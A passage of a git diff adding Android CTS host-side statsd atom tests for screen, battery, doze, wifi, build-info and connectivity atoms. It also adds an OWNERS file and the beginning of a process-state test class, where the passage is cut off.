+    private static final String WAKE_LOCK_FILE = "/proc/wakelocks";
+    private static final String WAKE_SOURCES_FILE = "/d/wakeup_sources";
+
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+    private static final String FEATURE_WATCH = "android.hardware.type.watch";
+    private static final String FEATURE_WIFI = "android.hardware.wifi";
+    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+
+    private IBuildInfo mCtsBuild;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        assertThat(mCtsBuild).isNotNull();
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.installStatsdTestApp(getDevice(), mCtsBuild);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        ConfigUtils.removeConfig(getDevice());
+        ReportUtils.clearReports(getDevice());
+        DeviceUtils.uninstallStatsdTestApp(getDevice());
+        super.tearDown();
+    }
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    public void testScreenStateChangedAtom() throws Exception {
+        // Setup, make sure the screen is off and turn off AoD if it is on.
+        // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
+        // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
+        String aodState = getAodState();
+        setAodState("0");
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.turnScreenOff(getDevice());
+        // Ensure that the screen on/off atoms are pushed before the config is uploaded.
+        Thread.sleep(5_000);
+
+        final int atomTag = Atom.SCREEN_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> screenOnStates = new HashSet<>(
+                Arrays.asList(DisplayStateEnum.DISPLAY_STATE_ON_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_ON_SUSPEND_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_VR_VALUE));
+        Set<Integer> screenOffStates = new HashSet<>(
+                Arrays.asList(DisplayStateEnum.DISPLAY_STATE_OFF_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_DOZE_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_DOZE_SUSPEND_VALUE,
+                        DisplayStateEnum.DISPLAY_STATE_UNKNOWN_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(screenOnStates, screenOffStates);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        DeviceUtils.turnScreenOn(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        DeviceUtils.turnScreenOff(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        // reset screen to on
+        DeviceUtils.turnScreenOn(getDevice());
+        // Restores AoD to initial state.
+        setAodState(aodState);
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_LONG,
+                atom -> atom.getScreenStateChanged().getState().getNumber());
+    }
+
+    public void testChargingStateChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        // Setup, set charging state to full.
+        DeviceUtils.setChargingState(getDevice(), 5);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.CHARGING_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> batteryUnknownStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_UNKNOWN_VALUE));
+        Set<Integer> batteryChargingStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_CHARGING_VALUE));
+        Set<Integer> batteryDischargingStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_DISCHARGING_VALUE));
+        Set<Integer> batteryNotChargingStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_NOT_CHARGING_VALUE));
+        Set<Integer> batteryFullStates = new HashSet<>(
+                Arrays.asList(BatteryStatusEnum.BATTERY_STATUS_FULL_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(batteryUnknownStates, batteryChargingStates,
+                batteryDischargingStates, batteryNotChargingStates, batteryFullStates);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        DeviceUtils.setChargingState(getDevice(), 1);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.setChargingState(getDevice(), 2);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.setChargingState(getDevice(), 3);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.setChargingState(getDevice(), 4);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.setChargingState(getDevice(), 5);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Unfreeze battery state after test
+        DeviceUtils.resetBatteryStatus(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getChargingStateChanged().getState().getNumber());
+    }
+
+    public void testPluggedStateChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        // Setup, unplug device.
+        DeviceUtils.unplugDevice(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.PLUGGED_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> unpluggedStates = new HashSet<>(
+                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_NONE_VALUE));
+        Set<Integer> acStates = new HashSet<>(
+                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_AC_VALUE));
+        Set<Integer> usbStates = new HashSet<>(
+                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_USB_VALUE));
+        Set<Integer> wirelessStates = new HashSet<>(
+                Arrays.asList(BatteryPluggedStateEnum.BATTERY_PLUGGED_WIRELESS_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(acStates, unpluggedStates, usbStates,
+                unpluggedStates, wirelessStates, unpluggedStates);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        DeviceUtils.plugInAc(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.unplugDevice(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        plugInUsb();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.unplugDevice(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        plugInWireless();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        DeviceUtils.unplugDevice(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Unfreeze battery state after test
+        DeviceUtils.resetBatteryStatus(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getPluggedStateChanged().getState().getNumber());
+    }
+
+    public void testBatteryLevelChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        // Setup, set battery level to full.
+        setBatteryLevel(100);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.BATTERY_LEVEL_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> batteryLow = new HashSet<>(Arrays.asList(2));
+        Set<Integer> battery25p = new HashSet<>(Arrays.asList(25));
+        Set<Integer> battery50p = new HashSet<>(Arrays.asList(50));
+        Set<Integer> battery75p = new HashSet<>(Arrays.asList(75));
+        Set<Integer> batteryFull = new HashSet<>(Arrays.asList(100));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(batteryLow, battery25p, battery50p,
+                battery75p, batteryFull);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        setBatteryLevel(2);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        setBatteryLevel(25);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        setBatteryLevel(50);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        setBatteryLevel(75);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        setBatteryLevel(100);
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Unfreeze battery state after test
+        DeviceUtils.resetBatteryStatus(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getBatteryLevelChanged().getBatteryLevel());
+    }
+
+    public void testDeviceIdleModeStateChangedAtom() throws Exception {
+        // Setup, leave doze mode.
+        leaveDozeMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.DEVICE_IDLE_MODE_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> dozeOff = new HashSet<>(
+                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_OFF_VALUE));
+        Set<Integer> dozeLight = new HashSet<>(
+                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_LIGHT_VALUE));
+        Set<Integer> dozeDeep = new HashSet<>(
+                Arrays.asList(DeviceIdleModeEnum.DEVICE_IDLE_MODE_DEEP_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(dozeLight, dozeDeep, dozeOff);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        enterDozeModeLight();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        enterDozeModeDeep();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+        leaveDozeMode();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_SHORT,
+                atom -> atom.getDeviceIdleModeStateChanged().getState().getNumber());
+    }
+
+    public void testBatterySaverModeStateChangedAtom() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+        // Setup, turn off battery saver.
+        turnBatterySaverOff();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        final int atomTag = Atom.BATTERY_SAVER_MODE_STATE_CHANGED_FIELD_NUMBER;
+
+        Set<Integer> batterySaverOn = new HashSet<>(
+                Arrays.asList(BatterySaverModeStateChanged.State.ON_VALUE));
+        Set<Integer> batterySaverOff = new HashSet<>(
+                Arrays.asList(BatterySaverModeStateChanged.State.OFF_VALUE));
+
+        // Add state sets to the list in order.
+        List<Set<Integer>> stateSet = Arrays.asList(batterySaverOn, batterySaverOff);
+
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        // Trigger events in same order.
+        turnBatterySaverOn();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+        turnBatterySaverOff();
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        // Sorted list of events in order in which they occurred.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+
+        // Assert that the events happened in the expected order.
+        AtomTestUtils.assertStatesOccurred(stateSet, data, AtomTestUtils.WAIT_TIME_LONG,
+                atom -> atom.getBatterySaverModeStateChanged().getState().getNumber());
+    }
+
+    @RestrictedBuildTest
+    public void testRemainingBatteryCapacity() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.REMAINING_BATTERY_CAPACITY_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getRemainingBatteryCapacity().hasChargeMicroAmpereHour()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getRemainingBatteryCapacity().getChargeMicroAmpereHour())
+                    .isGreaterThan(0);
+        }
+    }
+
+    @RestrictedBuildTest
+    public void testFullBatteryCapacity() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_AUTOMOTIVE)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.FULL_BATTERY_CAPACITY_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getFullBatteryCapacity().hasCapacityMicroAmpereHour()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getFullBatteryCapacity().getCapacityMicroAmpereHour()).isGreaterThan(0);
+        }
+    }
+
+    public void testBatteryVoltage() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.BATTERY_VOLTAGE_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getBatteryVoltage().hasVoltageMillivolt()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getBatteryVoltage().getVoltageMillivolt()).isGreaterThan(0);
+        }
+    }
+
+    // This test is for the pulled battery level atom.
+    public void testBatteryLevel() throws Exception {
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.BATTERY_LEVEL_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        Atom atom = data.get(0);
+        assertThat(atom.getBatteryLevel().hasBatteryLevel()).isTrue();
+        if (DeviceUtils.hasBattery(getDevice())) {
+            assertThat(atom.getBatteryLevel().getBatteryLevel()).isIn(Range.openClosed(0, 100));
+        }
+    }
+
+    public void testKernelWakelock() throws Exception {
+        if (!kernelWakelockStatsExist()) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.KERNEL_WAKELOCK_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        for (Atom atom : data) {
+            assertThat(atom.getKernelWakelock().hasName()).isTrue();
+            assertThat(atom.getKernelWakelock().hasCount()).isTrue();
+            assertThat(atom.getKernelWakelock().hasVersion()).isTrue();
+            assertThat(atom.getKernelWakelock().getVersion()).isGreaterThan(0);
+            assertThat(atom.getKernelWakelock().hasTimeMicros()).isTrue();
+        }
+    }
+
+    // Returns true iff either |WAKE_LOCK_FILE| or |WAKE_SOURCES_FILE| exists.
+    private boolean kernelWakelockStatsExist() {
+      try {
+        return doesFileExist(WAKE_LOCK_FILE) || doesFileExist(WAKE_SOURCES_FILE);
+      } catch(Exception e) {
+        return false;
+      }
+    }
+
+    public void testWifiActivityInfo() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        if (!DeviceUtils.checkDeviceFor(getDevice(), "checkWifiEnhancedPowerReportingSupported")) {
+            return;
+        }
+
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.WIFI_ACTIVITY_INFO_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> dataList = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        for (Atom atom : dataList) {
+            assertThat(atom.getWifiActivityInfo().getTimestampMillis()).isGreaterThan(0L);
+            assertThat(atom.getWifiActivityInfo().getStackState()).isAtLeast(0);
+            assertThat(atom.getWifiActivityInfo().getControllerIdleTimeMillis()).isGreaterThan(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerTxTimeMillis()).isAtLeast(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerRxTimeMillis()).isAtLeast(0L);
+            assertThat(atom.getWifiActivityInfo().getControllerEnergyUsed()).isAtLeast(0L);
+        }
+    }
+
+    public void testBuildInformation() throws Exception {
+        ConfigUtils.uploadConfigForPulledAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                Atom.BUILD_INFORMATION_FIELD_NUMBER);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_LONG);
+
+        List<Atom> data = ReportUtils.getGaugeMetricAtoms(getDevice());
+
+        assertThat(data).isNotEmpty();
+        BuildInformation atom = data.get(0).getBuildInformation();
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.product.brand")).isEqualTo(
+                atom.getBrand());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.product.name")).isEqualTo(
+                atom.getProduct());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.product.device")).isEqualTo(
+                atom.getDevice());
+        assertThat(DeviceUtils.getProperty(getDevice(),
+                "ro.build.version.release_or_codename")).isEqualTo(
+                atom.getVersionRelease());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.build.id")).isEqualTo(atom.getId());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.build.version.incremental"))
+                .isEqualTo(atom.getVersionIncremental());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.build.type")).isEqualTo(atom.getType());
+        assertThat(DeviceUtils.getProperty(getDevice(), "ro.build.tags")).isEqualTo(atom.getTags());
+    }
+
+    // Explicitly tests if the adb command to log a breadcrumb is working.
+    public void testBreadcrumbAdb() throws Exception {
+        final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
+        assertThat(atom.getLabel()).isEqualTo(1);
+        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
+    }
+
+    // Test dumpsys stats --proto.
+    public void testDumpsysStats() throws Exception {
+        final int atomTag = Atom.APP_BREADCRUMB_REPORTED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        AtomTestUtils.sendAppBreadcrumbReportedAtom(getDevice());
+        Thread.sleep(AtomTestUtils.WAIT_TIME_SHORT);
+
+        // Get the stats incident section.
+        List<ConfigMetricsReportList> listList = getReportsFromStatsDataDumpProto();
+        assertThat(listList).isNotEmpty();
+
+        // Extract the relevant report from the incident section.
+        ConfigMetricsReportList ourList = null;
+        int hostUid = DeviceUtils.getHostUid(getDevice());
+        for (ConfigMetricsReportList list : listList) {
+            ConfigMetricsReportList.ConfigKey configKey = list.getConfigKey();
+            if (configKey.getUid() == hostUid && configKey.getId() == ConfigUtils.CONFIG_ID) {
+                ourList = list;
+                break;
+            }
+        }
+        assertWithMessage(String.format("Could not find list for uid=%d id=%d", hostUid,
+                ConfigUtils.CONFIG_ID))
+                .that(ourList).isNotNull();
+
+        // Make sure that the report is correct.
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(ourList);
+        AppBreadcrumbReported atom = data.get(0).getAtom().getAppBreadcrumbReported();
+        assertThat(atom.getLabel()).isEqualTo(1);
+        assertThat(atom.getState().getNumber()).isEqualTo(AppBreadcrumbReported.State.START_VALUE);
+    }
+
+    public void testConnectivityStateChange() throws Exception {
+        if (!DeviceUtils.hasFeature(getDevice(), FEATURE_WIFI)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_WATCH)) return;
+        if (DeviceUtils.hasFeature(getDevice(), FEATURE_LEANBACK_ONLY)) return;
+
+        final int atomTag = Atom.CONNECTIVITY_STATE_CHANGED_FIELD_NUMBER;
+        ConfigUtils.uploadConfigForPushedAtom(getDevice(), DeviceUtils.STATSD_ATOM_TEST_PKG,
+                atomTag);
+
+        turnOnAirplaneMode();
+        // wait long enough for airplane mode events to propagate.
+        Thread.sleep(1_200);
+        turnOffAirplaneMode();
+        // wait long enough for the device to restore connection
+        Thread.sleep(13_000);
+
+        List<EventMetricData> data = ReportUtils.getEventMetricDataList(getDevice());
+        // at least 1 disconnect and 1 connect
+        assertThat(data.size()).isAtLeast(2);
+        boolean foundDisconnectEvent = false;
+        boolean foundConnectEvent = false;
+        for (EventMetricData d : data) {
+            ConnectivityStateChanged atom = d.getAtom().getConnectivityStateChanged();
+            if (atom.getState().getNumber()
+                    == ConnectivityStateChanged.State.DISCONNECTED_VALUE) {
+                foundDisconnectEvent = true;
+            }
+            if (atom.getState().getNumber()
+                    == ConnectivityStateChanged.State.CONNECTED_VALUE) {
+                foundConnectEvent = true;
+            }
+        }
+        assertThat(foundConnectEvent).isTrue();
+        assertThat(foundDisconnectEvent).isTrue();
+    }
+
+    // Gets whether "Always on Display" setting is enabled.
+    // In rare cases, this is different from whether the device can enter SCREEN_STATE_DOZE.
+    private String getAodState() throws Exception {
+        return getDevice().executeShellCommand("settings get secure doze_always_on");
+    }
+
+    private void setAodState(String state) throws Exception {
+        getDevice().executeShellCommand("settings put secure doze_always_on " + state);
+    }
+
+    private void plugInUsb() throws Exception {
+        getDevice().executeShellCommand("cmd battery set usb 1");
+    }
+
+    private void plugInWireless() throws Exception {
+        getDevice().executeShellCommand("cmd battery set wireless 1");
+    }
+
+    /**
+     * Determines if the device has |file|.
+     */
+    private boolean doesFileExist(String file) throws Exception {
+        return getDevice().doesFileExist(file);
+    }
+
+    private void setBatteryLevel(int level) throws Exception {
+        getDevice().executeShellCommand("cmd battery set level " + level);
+    }
+
+    private void leaveDozeMode() throws Exception {
+        getDevice().executeShellCommand("dumpsys deviceidle unforce");
+        getDevice().executeShellCommand("dumpsys deviceidle disable");
+        getDevice().executeShellCommand("dumpsys deviceidle enable");
+    }
+
+    private void enterDozeModeLight() throws Exception {
+        getDevice().executeShellCommand("dumpsys deviceidle force-idle light");
+    }
+
+    private void enterDozeModeDeep() throws Exception {
+        getDevice().executeShellCommand("dumpsys deviceidle force-idle deep");
+    }
+
+    private void turnBatterySaverOff() throws Exception {
+        getDevice().executeShellCommand("settings put global low_power 0");
+        getDevice().executeShellCommand("cmd battery reset");
+    }
+
+    private void turnBatterySaverOn() throws Exception {
+        DeviceUtils.unplugDevice(getDevice());
+        getDevice().executeShellCommand("settings put global low_power 1");
+    }
+
+    private void turnOnAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode enable");
+    }
+
+    private void turnOffAirplaneMode() throws Exception {
+        getDevice().executeShellCommand("cmd connectivity airplane-mode disable");
+    }
+
+    /** Gets reports from the statsd data incident section from the stats dumpsys. */
+    private List<ConfigMetricsReportList> getReportsFromStatsDataDumpProto() throws Exception {
+        try {
+            StatsDataDumpProto statsProto = DeviceUtils.getShellCommandOutput(
+                    getDevice(),
+                    StatsDataDumpProto.parser(),
+                    String.join(" ", DUMPSYS_STATS_CMD, "--proto"));
+            // statsProto holds repeated bytes, which we must parse into ConfigMetricsReportLists.
+            List<ConfigMetricsReportList> reports
+                    = new ArrayList<>(statsProto.getConfigMetricsReportListCount());
+            for (ByteString reportListBytes : statsProto.getConfigMetricsReportListList()) {
+                reports.add(ConfigMetricsReportList.parseFrom(reportListBytes));
+            }
+            LogUtil.CLog.d("Got dumpsys stats output:\n " + reports.toString());
+            return reports;
+        } catch (com.google.protobuf.InvalidProtocolBufferException e) {
+            LogUtil.CLog.e("Failed to dumpsys stats proto");
+            throw (e);
+        }
+    }
+}
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS
new file mode 100644
index 0000000..a716430
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/OWNERS
@@ -0,0 +1,8 @@
+# These atom tests are owned by the statsd team.
+jeffreyhuang@google.com
+jtnguyen@google.com
+muhammadq@google.com
+ruchirr@google.com
+singhtejinder@google.com
+tsaichristine@google.com
+yro@google.com
diff --git a/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
new file mode 100644
index 0000000..40735c3
--- /dev/null
+++ b/hostsidetests/statsdatom/src/android/cts/statsdatom/statsd/ProcStateAtomTests.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.cts.statsdatom.statsd;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.app.ProcessStateEnum; // From enums.proto for atoms.proto's UidProcessStateChanged.
+import android.cts.statsdatom.lib.AtomTestUtils;
+import android.cts.statsdatom.lib.ConfigUtils;
+import android.cts.statsdatom.lib.DeviceUtils;
+import android.cts.statsdatom.lib.ReportUtils;
+
+import com.android.os.AtomsProto.Atom;
+import com.android.os.StatsLog.EventMetricData;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+
+import java.util.Arrays;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Set;
+import java.util.function.Function;
+import java.util.stream.Collectors;
+import java.util.stream.Stream;
+
+/**
+ * Statsd atom tests that are done via app, for atoms that report a uid.
+ */
+public class ProcStateAtomTests extends DeviceTestCase implements IBuildReceiver {
+
+    private static final String TAG = "Statsd.ProcStateAtomTests";
+
+    private static final String DEVICE_SIDE_FG_ACTIVITY_COMPONENT
+            = "com.android.server.cts.device.statsdatom/.StatsdCtsForegroundActivity";
+    private static final String DEVICE_SIDE_FG_SERVICE_COMPONENT
